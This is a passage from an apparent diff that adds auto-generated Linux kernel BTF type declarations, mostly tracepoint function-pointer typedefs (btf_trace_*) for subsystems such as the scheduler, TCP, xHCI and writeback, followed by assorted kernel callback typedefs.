(*btf_trace_remove_migration_pte)(void *, unsigned long, unsigned long, int); + +typedef void (*btf_trace_reschedule_entry)(void *, int); + +typedef void (*btf_trace_reschedule_exit)(void *, int); + +typedef void (*btf_trace_rpm_idle)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_resume)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_return_int)(void *, struct device *, unsigned long, int); + +typedef void (*btf_trace_rpm_status)(void *, struct device *, enum rpm_status); + +typedef void (*btf_trace_rpm_suspend)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_usage)(void *, struct device *, int); + +typedef void (*btf_trace_rseq_ip_fixup)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_rseq_update)(void *, struct task_struct *); + +typedef void (*btf_trace_rss_stat)(void *, struct mm_struct *, int); + +typedef void (*btf_trace_rtc_alarm_irq_enable)(void *, unsigned int, int); + +typedef void (*btf_trace_rtc_irq_set_freq)(void *, int, int); + +typedef void (*btf_trace_rtc_irq_set_state)(void *, int, int); + +typedef void (*btf_trace_rtc_read_alarm)(void *, time64_t, int); + +typedef void (*btf_trace_rtc_read_offset)(void *, long, int); + +typedef void (*btf_trace_rtc_read_time)(void *, time64_t, int); + +typedef void (*btf_trace_rtc_set_alarm)(void *, time64_t, int); + +typedef void (*btf_trace_rtc_set_offset)(void *, long, int); + +typedef void (*btf_trace_rtc_set_time)(void *, time64_t, int); + +typedef void (*btf_trace_rtc_timer_dequeue)(void *, struct rtc_timer *); + +typedef void (*btf_trace_rtc_timer_enqueue)(void *, struct rtc_timer *); + +typedef void (*btf_trace_rtc_timer_fired)(void *, struct rtc_timer *); + +typedef void (*btf_trace_run_delayed_data_ref)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_node *); + +typedef void (*btf_trace_run_delayed_ref_head)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_head *, int); + +typedef void (*btf_trace_run_delayed_tree_ref)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_node *); + +typedef void (*btf_trace_sb_clear_inode_writeback)(void *, struct inode *); + +typedef void (*btf_trace_sb_mark_inode_writeback)(void *, struct inode *); + +typedef void (*btf_trace_sched_compute_energy_tp)(void *, struct task_struct *, int, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_sched_cpu_capacity_tp)(void *, struct rq *); + +typedef void (*btf_trace_sched_ext_dump)(void *, const char *); + +typedef void (*btf_trace_sched_kthread_stop)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_kthread_stop_ret)(void *, int); + +typedef void (*btf_trace_sched_kthread_work_execute_end)(void *, struct kthread_work *, kthread_work_func_t); + +typedef void (*btf_trace_sched_kthread_work_execute_start)(void *, struct kthread_work *); + +typedef void (*btf_trace_sched_kthread_work_queue_work)(void *, struct kthread_worker *, struct kthread_work *); + +typedef void (*btf_trace_sched_migrate_task)(void *, struct task_struct *, int); + +typedef void (*btf_trace_sched_move_numa)(void *, struct task_struct *, int, int); + +typedef void (*btf_trace_sched_overutilized_tp)(void *, struct root_domain *, bool); + +typedef void (*btf_trace_sched_pi_setprio)(void *, struct task_struct *, struct task_struct *); + +typedef void (*btf_trace_sched_prepare_exec)(void *, struct task_struct *, struct linux_binprm *); + +typedef void (*btf_trace_sched_process_exec)(void *, struct task_struct *, pid_t, struct linux_binprm *); + +typedef void (*btf_trace_sched_process_exit)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_process_fork)(void *, struct task_struct *, struct task_struct *); + +typedef void (*btf_trace_sched_process_free)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_process_hang)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_process_wait)(void *, struct pid *); + +typedef void (*btf_trace_sched_stat_runtime)(void *, struct task_struct *, u64); + +typedef void (*btf_trace_sched_stick_numa)(void *, struct task_struct *, int, struct task_struct *, int); + +typedef void (*btf_trace_sched_swap_numa)(void *, struct task_struct *, int, struct task_struct *, int); + +typedef void (*btf_trace_sched_switch)(void *, bool, struct task_struct *, struct task_struct *, unsigned int); + +typedef void (*btf_trace_sched_update_nr_running_tp)(void *, struct rq *, int); + +typedef void (*btf_trace_sched_util_est_cfs_tp)(void *, struct cfs_rq *); + +typedef void (*btf_trace_sched_util_est_se_tp)(void *, struct sched_entity *); + +typedef void (*btf_trace_sched_wait_task)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_wake_idle_without_ipi)(void *, int); + +typedef void (*btf_trace_sched_wakeup)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_wakeup_new)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_waking)(void *, struct task_struct *); + +typedef void (*btf_trace_scsi_dispatch_cmd_done)(void *, struct scsi_cmnd *); + +typedef void (*btf_trace_scsi_dispatch_cmd_error)(void *, struct scsi_cmnd *, int); + +typedef void (*btf_trace_scsi_dispatch_cmd_start)(void *, struct scsi_cmnd *); + +typedef void (*btf_trace_scsi_dispatch_cmd_timeout)(void *, struct scsi_cmnd *); + +typedef void (*btf_trace_scsi_eh_wakeup)(void *, struct Scsi_Host *); + +typedef void (*btf_trace_set_migration_pmd)(void *, unsigned long, unsigned long); + +typedef void (*btf_trace_set_migration_pte)(void *, unsigned long, unsigned long, int); + +typedef void (*btf_trace_signal_deliver)(void *, int, struct kernel_siginfo *, struct k_sigaction *); + +typedef void (*btf_trace_signal_generate)(void *, int, struct kernel_siginfo *, struct task_struct *, int, int); + +typedef void (*btf_trace_sk_data_ready)(void *, const struct sock *); + +typedef void (*btf_trace_skb_copy_datagram_iovec)(void *, const struct sk_buff *, int); + +typedef void (*btf_trace_skip_task_reaping)(void *, int); + +typedef void (*btf_trace_smbus_read)(void *, const struct i2c_adapter *, u16, unsigned short, char, u8, int); + +typedef void (*btf_trace_smbus_reply)(void *, const struct i2c_adapter *, u16, unsigned short, char, u8, int, const union i2c_smbus_data *, int); + +typedef void (*btf_trace_smbus_result)(void *, const struct i2c_adapter *, u16, unsigned short, char, u8, int, int); + +typedef void (*btf_trace_smbus_write)(void *, const struct i2c_adapter *, u16, unsigned short, char, u8, int, const union i2c_smbus_data *); + +typedef void (*btf_trace_sock_exceed_buf_limit)(void *, struct sock *, struct proto *, long, int); + +typedef void (*btf_trace_sock_rcvqueue_full)(void *, struct sock *, struct sk_buff *); + +typedef void (*btf_trace_sock_recv_length)(void *, struct sock *, int, int); + +typedef void (*btf_trace_sock_send_length)(void *, struct sock *, int, int); + +typedef void (*btf_trace_softirq_entry)(void *, unsigned int); + +typedef void (*btf_trace_softirq_exit)(void *, unsigned int); + +typedef void (*btf_trace_softirq_raise)(void *, unsigned int); + +typedef void (*btf_trace_spurious_apic_entry)(void *, int); + +typedef void (*btf_trace_spurious_apic_exit)(void *, int); + +typedef void (*btf_trace_start_task_reaping)(void *, int); + +typedef void (*btf_trace_stop_queue)(void *, struct ieee80211_local *, u16, enum queue_stop_reason); + +typedef void (*btf_trace_suspend_resume)(void *, const char *, int, bool); + +typedef void (*btf_trace_swiotlb_bounced)(void *, struct device *, dma_addr_t, size_t); + +typedef void (*btf_trace_sys_enter)(void *, struct pt_regs *, long); + +typedef void (*btf_trace_sys_exit)(void *, struct pt_regs *, long); + +typedef void (*btf_trace_task_newtask)(void *, struct task_struct *, unsigned long); + +typedef void (*btf_trace_task_rename)(void *, struct task_struct *, const char *); + +typedef void (*btf_trace_tasklet_entry)(void *, struct tasklet_struct *, void *); + +typedef void (*btf_trace_tasklet_exit)(void *, struct tasklet_struct *, void *); + +typedef void (*btf_trace_tcp_ao_handshake_failure)(void *, const struct sock *, const struct sk_buff *, const __u8, const __u8, const __u8); + +typedef void (*btf_trace_tcp_ao_key_not_found)(void *, const struct sock *, const struct sk_buff *, const __u8, const __u8, const __u8); + +typedef void (*btf_trace_tcp_ao_mismatch)(void *, const struct sock *, const struct sk_buff *, const __u8, const __u8, const __u8); + +typedef void (*btf_trace_tcp_ao_rcv_sne_update)(void *, const struct sock *, __u32); + +typedef void (*btf_trace_tcp_ao_rnext_request)(void *, const struct sock *, const struct sk_buff *, const __u8, const __u8, const __u8); + +typedef void (*btf_trace_tcp_ao_snd_sne_update)(void *, const struct sock *, __u32); + +typedef void (*btf_trace_tcp_ao_synack_no_key)(void *, const struct sock *, const __u8, const __u8); + +typedef void (*btf_trace_tcp_ao_wrong_maclen)(void *, const struct sock *, const struct sk_buff *, const __u8, const __u8, const __u8); + +typedef void (*btf_trace_tcp_bad_csum)(void *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_cong_state_set)(void *, struct sock *, const u8); + +typedef void (*btf_trace_tcp_destroy_sock)(void *, struct sock *); + +typedef void (*btf_trace_tcp_hash_ao_required)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_hash_bad_header)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_hash_md5_mismatch)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_hash_md5_required)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_hash_md5_unexpected)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_probe)(void *, struct sock *, struct sk_buff *); + +typedef void (*btf_trace_tcp_rcv_space_adjust)(void *, struct sock *); + +typedef void (*btf_trace_tcp_receive_reset)(void *, struct sock *); + +typedef void (*btf_trace_tcp_retransmit_skb)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_retransmit_synack)(void *, const struct sock *, const struct request_sock *); + +typedef void (*btf_trace_tcp_send_reset)(void *, const struct sock *, const struct sk_buff *, const enum sk_rst_reason); + +typedef void (*btf_trace_thermal_apic_entry)(void *, int); + +typedef void (*btf_trace_thermal_apic_exit)(void *, int); + +typedef void (*btf_trace_thermal_temperature)(void *, struct thermal_zone_device *); + +typedef void (*btf_trace_thermal_zone_trip)(void *, struct thermal_zone_device *, int, enum thermal_trip_type); + +typedef void (*btf_trace_tick_stop)(void *, int, int); + +typedef void (*btf_trace_time_out_leases)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_timer_base_idle)(void *, bool, unsigned int); + +typedef void (*btf_trace_timer_cancel)(void *, struct timer_list *); + +typedef void (*btf_trace_timer_expire_entry)(void *, struct timer_list *, unsigned long); + +typedef void (*btf_trace_timer_expire_exit)(void *, struct timer_list *); + +typedef void (*btf_trace_timer_init)(void *, struct timer_list *); + +typedef void (*btf_trace_timer_start)(void *, struct timer_list *, unsigned long); + +typedef void (*btf_trace_tlb_flush)(void *, int, unsigned long); + +typedef void (*btf_trace_tmigr_connect_child_parent)(void *, struct tmigr_group *); + +typedef void (*btf_trace_tmigr_connect_cpu_parent)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_cpu_active)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_cpu_idle)(void *, struct tmigr_cpu *, u64); + +typedef void (*btf_trace_tmigr_cpu_new_timer)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_cpu_new_timer_idle)(void *, struct tmigr_cpu *, u64); + +typedef void (*btf_trace_tmigr_cpu_offline)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_cpu_online)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_group_set)(void *, struct tmigr_group *); + +typedef void (*btf_trace_tmigr_group_set_cpu_active)(void *, struct tmigr_group *, union tmigr_state, u32); + +typedef void (*btf_trace_tmigr_group_set_cpu_inactive)(void *, struct tmigr_group *, union tmigr_state, u32); + +typedef void (*btf_trace_tmigr_handle_remote)(void *, struct tmigr_group *); + +typedef void (*btf_trace_tmigr_handle_remote_cpu)(void *, struct tmigr_cpu *); + +typedef void (*btf_trace_tmigr_update_events)(void *, struct tmigr_group *, struct tmigr_group *, union tmigr_state, union tmigr_state, u64); + +typedef void (*btf_trace_track_foreign_dirty)(void *, struct folio *, struct bdi_writeback *); + +typedef void (*btf_trace_udp_fail_queue_rcv_skb)(void *, int, struct sock *, struct sk_buff *); + +typedef void (*btf_trace_update_bytes_may_use)(void *, const struct btrfs_fs_info *, const struct btrfs_space_info *, u64, s64); + +typedef void (*btf_trace_update_bytes_pinned)(void *, const struct btrfs_fs_info *, const struct btrfs_space_info *, u64, s64); + +typedef void (*btf_trace_update_bytes_zone_unusable)(void *, const struct btrfs_fs_info *, const struct btrfs_space_info *, u64, s64); + +typedef void (*btf_trace_user_enter)(void *, int); + +typedef void (*btf_trace_user_exit)(void *, int); + +typedef void (*btf_trace_vector_activate)(void *, unsigned int, bool, bool, bool); + +typedef void (*btf_trace_vector_alloc)(void *, unsigned int, unsigned int, bool, int); + +typedef void (*btf_trace_vector_alloc_managed)(void *, unsigned int, unsigned int, int); + +typedef void (*btf_trace_vector_clear)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vector_config)(void *, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vector_deactivate)(void *, unsigned int, bool, bool, bool); + +typedef void (*btf_trace_vector_free_moved)(void *, unsigned int, unsigned int, unsigned int, bool); + +typedef void (*btf_trace_vector_reserve)(void *, unsigned int, int); + +typedef void (*btf_trace_vector_reserve_managed)(void *, unsigned int, int); + +typedef void (*btf_trace_vector_setup)(void *, unsigned int, bool, int); + +typedef void (*btf_trace_vector_teardown)(void *, unsigned int, bool, bool); + +typedef void (*btf_trace_vector_update)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vm_unmapped_area)(void *, unsigned long, struct vm_unmapped_area_info *); + +typedef void (*btf_trace_vma_mas_szero)(void *, struct maple_tree *, unsigned long, unsigned long); + +typedef void (*btf_trace_vma_store)(void *, struct maple_tree *, struct vm_area_struct *); + +typedef void (*btf_trace_wake_queue)(void *, struct ieee80211_local *, u16, enum queue_stop_reason); + +typedef void (*btf_trace_wake_reaper)(void *, int); + +typedef void (*btf_trace_wakeup_source_activate)(void *, const char *, unsigned int); + +typedef void (*btf_trace_wakeup_source_deactivate)(void *, const char *, unsigned int); + +typedef void (*btf_trace_wbc_writepage)(void *, struct writeback_control *, struct backing_dev_info *); + +typedef void (*btf_trace_wbt_lat)(void *, struct backing_dev_info *, unsigned long); + +typedef void (*btf_trace_wbt_stat)(void *, struct backing_dev_info *, struct blk_rq_stat *); + +typedef void (*btf_trace_wbt_step)(void *, struct backing_dev_info *, const char *, int, unsigned long, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_wbt_timer)(void *, struct backing_dev_info *, unsigned int, int, unsigned int); + +typedef void (*btf_trace_wiphy_delayed_work_queue)(void *, struct wiphy *, struct wiphy_work *, unsigned long); + +typedef void (*btf_trace_wiphy_work_cancel)(void *, struct wiphy *, struct wiphy_work *); + +typedef void (*btf_trace_wiphy_work_flush)(void *, struct wiphy *, struct wiphy_work *); + +typedef void (*btf_trace_wiphy_work_queue)(void *, struct wiphy *, struct wiphy_work *); + +typedef void (*btf_trace_wiphy_work_run)(void *, struct wiphy *, struct wiphy_work *); + +typedef void (*btf_trace_wiphy_work_worker_start)(void *, struct wiphy *); + +typedef void (*btf_trace_workqueue_activate_work)(void *, struct work_struct *); + +typedef void (*btf_trace_workqueue_execute_end)(void *, struct work_struct *, work_func_t); + +typedef void (*btf_trace_workqueue_execute_start)(void *, struct work_struct *); + +typedef void (*btf_trace_workqueue_queue_work)(void *, int, struct pool_workqueue *, struct work_struct *); + +typedef void (*btf_trace_write_msr)(void *, unsigned int, u64, int); + +typedef void (*btf_trace_writeback_bdi_register)(void *, struct backing_dev_info *); + +typedef void (*btf_trace_writeback_dirty_folio)(void *, struct folio *, struct address_space *); + +typedef void (*btf_trace_writeback_dirty_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_writeback_dirty_inode_enqueue)(void *, struct inode *); + +typedef void (*btf_trace_writeback_dirty_inode_start)(void *, struct inode *, int); + +typedef void (*btf_trace_writeback_exec)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_lazytime)(void *, struct inode *); + +typedef void (*btf_trace_writeback_lazytime_iput)(void *, struct inode *); + +typedef void (*btf_trace_writeback_mark_inode_dirty)(void *, struct inode *, int); + +typedef void (*btf_trace_writeback_pages_written)(void *, long); + +typedef void (*btf_trace_writeback_queue)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_queue_io)(void *, struct bdi_writeback *, struct wb_writeback_work *, unsigned long, int); + +typedef void (*btf_trace_writeback_sb_inodes_requeue)(void *, struct inode *); + +typedef void (*btf_trace_writeback_single_inode)(void *, struct inode *, struct writeback_control *, unsigned long); + +typedef void (*btf_trace_writeback_single_inode_start)(void *, struct inode *, struct writeback_control *, unsigned long); + +typedef void (*btf_trace_writeback_start)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_wait)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_wake_background)(void *, struct bdi_writeback *); + +typedef void (*btf_trace_writeback_write_inode)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_writeback_write_inode_start)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_writeback_written)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_x86_fpu_after_restore)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_after_save)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_before_restore)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_before_save)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_copy_dst)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_copy_src)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_dropped)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_init_state)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_regs_activated)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_regs_deactivated)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_xstate_check_failed)(void *, struct fpu *); + +typedef void (*btf_trace_x86_platform_ipi_entry)(void *, int); + +typedef void (*btf_trace_x86_platform_ipi_exit)(void *, int); + +typedef void (*btf_trace_xdp_bulk_tx)(void *, const struct net_device *, int, int, int); + +typedef void (*btf_trace_xdp_cpumap_enqueue)(void *, int, unsigned int, unsigned int, int); + +typedef void (*btf_trace_xdp_cpumap_kthread)(void *, int, unsigned int, unsigned int, int, struct xdp_cpumap_stats *); + +typedef void (*btf_trace_xdp_devmap_xmit)(void *, const struct net_device *, const struct net_device *, int, int, int); + +typedef void (*btf_trace_xdp_exception)(void *, const struct net_device *, const struct bpf_prog *, u32); + +typedef void (*btf_trace_xdp_redirect)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_map)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xdp_redirect_map_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); + +typedef void (*btf_trace_xhci_add_endpoint)(void *, struct xhci_ep_ctx *); + +typedef void (*btf_trace_xhci_address_ctrl_ctx)(void *, struct xhci_input_control_ctx *); + +typedef void (*btf_trace_xhci_address_ctx)(void *, struct xhci_hcd *, struct xhci_container_ctx *, unsigned int); + +typedef void (*btf_trace_xhci_alloc_dev)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_alloc_virt_device)(void *, struct xhci_virt_device *); + +typedef void (*btf_trace_xhci_configure_endpoint)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_configure_endpoint_ctrl_ctx)(void *, struct xhci_input_control_ctx *); + +typedef void (*btf_trace_xhci_dbc_alloc_request)(void *, struct dbc_request *); + +typedef void (*btf_trace_xhci_dbc_free_request)(void *, struct dbc_request *); + +typedef void (*btf_trace_xhci_dbc_gadget_ep_queue)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_dbc_giveback_request)(void *, struct dbc_request *); + +typedef void (*btf_trace_xhci_dbc_handle_event)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_dbc_handle_transfer)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_dbc_queue_request)(void *, struct dbc_request *); + +typedef void (*btf_trace_xhci_dbg_address)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_cancel_urb)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_context_change)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_init)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_quirks)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_reset_ep)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_dbg_ring_expansion)(void *, struct va_format *); + +typedef void (*btf_trace_xhci_discover_or_reset_device)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_free_dev)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_free_virt_device)(void *, struct xhci_virt_device *); + +typedef void (*btf_trace_xhci_get_port_status)(void *, struct xhci_port *, u32); + +typedef void (*btf_trace_xhci_handle_cmd_addr_dev)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_config_ep)(void *, struct xhci_ep_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_disable_slot)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_reset_dev)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_reset_ep)(void *, struct xhci_ep_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_set_deq)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_set_deq_ep)(void *, struct xhci_ep_ctx *); + +typedef void (*btf_trace_xhci_handle_cmd_stop_ep)(void *, struct xhci_ep_ctx *); + +typedef void (*btf_trace_xhci_handle_command)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_handle_event)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_handle_port_status)(void *, struct xhci_port *, u32); + +typedef void (*btf_trace_xhci_handle_transfer)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_hub_status_data)(void *, struct xhci_port *, u32); + +typedef void (*btf_trace_xhci_inc_deq)(void *, struct xhci_ring *); + +typedef void (*btf_trace_xhci_inc_enq)(void *, struct xhci_ring *); + +typedef void (*btf_trace_xhci_queue_trb)(void *, struct xhci_ring *, struct xhci_generic_trb *); + +typedef void (*btf_trace_xhci_ring_alloc)(void *, struct xhci_ring *); + +typedef void (*btf_trace_xhci_ring_ep_doorbell)(void *, u32, u32); + +typedef void (*btf_trace_xhci_ring_expansion)(void *, struct xhci_ring *); + +typedef void (*btf_trace_xhci_ring_free)(void *, struct xhci_ring *); + +typedef void (*btf_trace_xhci_ring_host_doorbell)(void *, u32, u32); + +typedef void (*btf_trace_xhci_setup_addressable_virt_device)(void *, struct xhci_virt_device *); + +typedef void (*btf_trace_xhci_setup_device)(void *, struct xhci_virt_device *); + +typedef void (*btf_trace_xhci_setup_device_slot)(void *, struct xhci_slot_ctx *); + +typedef void (*btf_trace_xhci_stop_device)(void *, struct xhci_virt_device *); + +typedef void (*btf_trace_xhci_urb_dequeue)(void *, struct urb *); + +typedef void (*btf_trace_xhci_urb_enqueue)(void *, struct urb *); + +typedef void (*btf_trace_xhci_urb_giveback)(void *, struct urb *); + +typedef bool (*check_reserved_t)(u64, u64, enum e820_type); + +typedef void cleanup_cb_t(struct rq_wait *, void *); + +typedef int (*cmp_r_func_t)(const void *, const void *, const void *); + +typedef struct sk_buff * (*codel_skb_dequeue_t)(struct codel_vars *, void *); + +typedef void (*codel_skb_drop_t)(struct sk_buff *, void *); + +typedef u32 (*codel_skb_len_t)(const struct sk_buff *); + +typedef codel_time_t (*codel_skb_time_t)(const struct sk_buff *); + +typedef void (*companion_fn)(struct pci_dev *, struct usb_hcd *, struct pci_dev *, struct usb_hcd *); + +typedef bool (*cond_update_fn_t)(struct trace_array *, void *); + +typedef int (*cppc_mode_transition_fn)(int); + +typedef void * (*devcon_match_fn_t)(const struct fwnode_handle *, const char *, void *); + +typedef int (*dr_match_t)(struct device *, void *, void *); + +typedef int (*dummy_ops_test_ret_fn)(struct bpf_dummy_ops_state *, ...); + +typedef int (*dynevent_check_arg_fn_t)(void *); + +typedef int (*efi_memattr_perm_setter)(struct mm_struct *, efi_memory_desc_t *, bool); + +typedef void (*ethnl_notify_handler_t)(struct net_device *, unsigned int, const void *); + +typedef void (*exitcall_t)(void); + +typedef int (*ext4_mballoc_query_range_fn)(struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t, void *); + +typedef void ext4_update_sb_callback(struct ext4_super_block *, const void *); + +typedef int filler_t(struct file *, struct folio *); + +typedef bool (*filter_func_t)(struct uprobe_consumer *, struct mm_struct *); + +typedef void fn_handler_fn(struct vc_data *); + +typedef bool fq_skb_filter_t(struct fq *, struct fq_tin *, struct fq_flow *, struct sk_buff *, void *); + +typedef void fq_skb_free_t(struct fq *, struct fq_tin *, struct fq_flow *, struct sk_buff *); + +typedef struct sk_buff *fq_tin_dequeue_t(struct fq *, struct fq_tin *, struct fq_flow *); + +typedef void free_folio_t(struct folio *, unsigned long); + +typedef int (*ftrace_mapper_func)(void *); + +typedef struct sk_buff * (*gro_receive_sk_t)(struct sock *, struct list_head *, struct sk_buff *); + +typedef struct sk_buff * (*gro_receive_t)(struct list_head *, struct sk_buff *); + +typedef bool (*hid_usage_cmp_t)(struct hid_usage *, unsigned int, unsigned int); + +typedef u32 inet6_ehashfn_t(const struct net *, const struct in6_addr *, const u16, const struct in6_addr *, const __be16); + +typedef u32 inet_ehashfn_t(const struct net *, const __be32, const __u16, const __be32, const __be16); + +typedef struct dentry *instantiate_t(struct dentry *, struct task_struct *, const void *); + +typedef int (*ioctl_fn)(struct file *, struct autofs_sb_info *, struct autofs_dev_ioctl *); + +typedef int (*ioctl_fn___2)(struct file *, struct dm_ioctl *, size_t); + +typedef void (*iomap_punch_t)(struct inode *, loff_t, loff_t, struct iomap *); + +typedef size_t (*iov_step_f)(void *, size_t, size_t, void *, void *); + +typedef size_t (*iov_ustep_f)(void __attribute__((btf_type_tag("user"))) *, size_t, size_t, void *, void *); + +typedef void (*irq_write_msi_msg_t)(struct msi_desc *, struct msi_msg *); + +typedef int (*iterate_dir_item_t)(int, struct btrfs_key *, const char *, int, const char *, int, void *); + +typedef int (*iterate_inode_ref_t)(int, u64, int, struct fs_path *, void *); + +typedef void k_handler_fn(struct vc_data *, unsigned char, char); + +typedef int (*list_cmp_func_t)(void *, const struct list_head *, const struct list_head *); + +typedef enum lru_status (*list_lru_walk_cb)(struct list_head *, struct list_lru_one *, spinlock_t *, void *); + +typedef void (*move_fn_t)(struct lruvec *, struct folio *); + +typedef int (*netlink_filter_fn)(struct sock *, struct sk_buff *, void *); + +typedef struct folio *new_folio_t(struct folio *, unsigned long); + +typedef int (*nfqnl_cmpfn)(struct nf_queue_entry *, unsigned long); + +typedef void (*nmi_shootdown_cb)(int, struct pt_regs *); + +typedef struct ns_common *ns_get_path_helper_t(void *); + +typedef int (*objpool_init_obj_cb)(void *, void *); + +typedef int (*parse_pred_fn)(const char *, void *, int, struct filter_parse_error *, struct filter_pred **); + +typedef int (*parse_unknown_fn)(char *, char *, const char *, void *); + +typedef int pcpu_fc_cpu_distance_fn_t(unsigned int, unsigned int); + +typedef int pcpu_fc_cpu_to_node_fn_t(int); + +typedef void perf_iterate_f(struct perf_event *, void *); + +typedef int perf_snapshot_branch_stack_t(struct perf_branch_entry *, unsigned int); + +typedef int (*pm_callback_t)(struct device *); + +typedef int (*pm_cpu_match_t)(const struct x86_cpu_id *); + +typedef struct rt6_info * (*pol_lookup_t)(struct net *, struct fib6_table *, struct flowi6 *, const struct sk_buff *, int); + +typedef int (*pp_nl_fill_cb)(struct sk_buff *, const struct page_pool *, const struct genl_info *); + +typedef int (*proc_visitor)(struct task_struct *, void *); + +typedef int (*pte_fn_t)(pte_t *, unsigned long, void *); + +typedef void (*rethook_handler_t)(struct rethook_node *, void *, unsigned long, struct pt_regs *); + +typedef bool (*ring_buffer_cond_fn)(void *); + +typedef irqreturn_t (*rtc_irq_handler)(int, void *); + +typedef void (*rtl_generic_fct)(struct rtl8169_private *); + +typedef void (*rtl_phy_cfg_fct)(struct rtl8169_private *, struct phy_device *); + +typedef bool (*sb_for_each_fn)(struct sbitmap *, unsigned int, void *); + +typedef int (*sendmsg_func)(struct sock *, struct msghdr *); + +typedef void (*serial8250_isa_config_fn)(int, struct uart_port *, u32 *); + +typedef int (*set_callee_state_fn)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *, int); + +typedef struct scatterlist *sg_alloc_fn(unsigned int, gfp_t); + +typedef void sg_free_fn(struct scatterlist *, unsigned int); + +typedef void sha256_block_fn(struct sha256_state *, const u8 *, int); + +typedef void sha512_block_fn(struct sha512_state *, const u8 *, int); + +typedef bool (*smp_cond_func_t)(int, void *); + +typedef int splice_actor(struct pipe_inode_info *, struct pipe_buffer *, struct splice_desc *); + +typedef int splice_direct_actor(struct pipe_inode_info *, struct splice_desc *); + +typedef bool (*stack_trace_consume_fn)(void *, unsigned long); + +typedef void (*swap_r_func_t)(void *, 